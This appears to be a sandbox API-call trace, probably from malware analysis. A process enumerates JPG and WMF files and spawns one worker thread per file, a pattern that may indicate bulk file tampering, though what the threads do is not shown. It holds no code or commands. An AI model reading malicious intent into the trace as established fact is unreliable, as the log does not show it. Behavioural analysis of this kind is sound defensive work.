	[0251.606] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea87400, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ea87400, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x2b38, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0309920.WMF", cAlternateFileName="")) returned 1
	[0251.606] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f50
	[0251.609] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.609] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a03b100, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a03b100, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x911a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0313896.JPG", cAlternateFileName="")) returned 1
	[0251.609] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.610] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f54
	[0251.612] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.613] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x717bb700, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x717bb700, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0xa75a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0313965.JPG", cAlternateFileName="")) returned 1
	[0251.613] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.614] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f58
	[0251.725] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.726] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x527d2500, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527d2500, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x81ab, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0313970.JPG", cAlternateFileName="")) returned 1
	[0251.726] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f60
	[0251.728] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.729] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d07fb00, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3d07fb00, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0xb9d1, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0313974.JPG", cAlternateFileName="")) returned 1
	[0251.729] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f64
	[0251.731] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.731] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2feb0c00, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2feb0c00, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x40f2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0314068.JPG", cAlternateFileName="")) returned 1
	[0251.731] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f68
	[0251.734] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.734] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b02, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0315580.JPG", cAlternateFileName="")) returned 1
	[0251.734] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.735] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f6c
	[0251.791] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.792] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x423a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0315612.JPG", cAlternateFileName="")) returned 1
	[0251.792] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f70
	[0251.794] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.795] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4180, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0318448.WMF", cAlternateFileName="")) returned 1
	[0251.795] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f74
	[0251.798] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.798] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2dfa, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0318804.WMF", cAlternateFileName="")) returned 1
	[0251.799] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f78
	[0251.801] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.802] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28be, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0318810.WMF", cAlternateFileName="")) returned 1
	[0251.802] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f7c
	[0251.805] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.805] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24d7, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0321179.JPG", cAlternateFileName="")) returned 1
	[0251.805] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f80
	[0251.808] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.809] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ff8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0324694.WMF", cAlternateFileName="")) returned 1
	[0251.809] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f84
	[0251.812] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.813] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2e7e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0324704.WMF", cAlternateFileName="")) returned 1
	[0251.813] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc63f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f88
	[0252.043] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.044] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3260, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0337280.JPG", cAlternateFileName="")) returned 1
	[0252.044] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f94
	[0252.047] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.047] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27d4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341328.JPG", cAlternateFileName="")) returned 1
	[0252.047] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f98
	[0252.051] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.051] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2cdd, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341344.JPG", cAlternateFileName="")) returned 1
	[0252.057] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.058] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f9c
	[0252.059] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.060] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c6d, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341439.JPG", cAlternateFileName="")) returned 1
	[0252.060] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fa0
	[0252.063] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.063] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ad8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341447.JPG", cAlternateFileName="")) returned 1
	[0252.063] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fa4
	[0252.065] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.066] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x52c3, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341448.JPG", cAlternateFileName="")) returned 1
	[0252.066] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fa8
	[0252.068] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.069] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7457, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341455.JPG", cAlternateFileName="")) returned 1
	[0252.069] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fac
	[0252.071] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.072] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa9e2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341475.JPG", cAlternateFileName="")) returned 1
	[0252.072] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fb0
	[0252.074] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.075] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee3, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341499.JPG", cAlternateFileName="")) returned 1
	[0252.075] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.076] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc67670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fb4
	[0252.077] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.078] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f8a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341534.JPG", cAlternateFileName="")) returned 1
	[0252.078] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.079] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fc8
	[0252.279] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.280] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5a56, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341551.JPG", cAlternateFileName="")) returned 1
	[0252.281] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fcc
	[0252.282] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.284] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6f43, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341554.JPG", cAlternateFileName="")) returned 1
	[0252.284] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.285] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fd0
	[0252.286] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.286] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6aa8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341557.JPG", cAlternateFileName="")) returned 1
	[0252.286] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.287] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fd4
	[0252.288] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
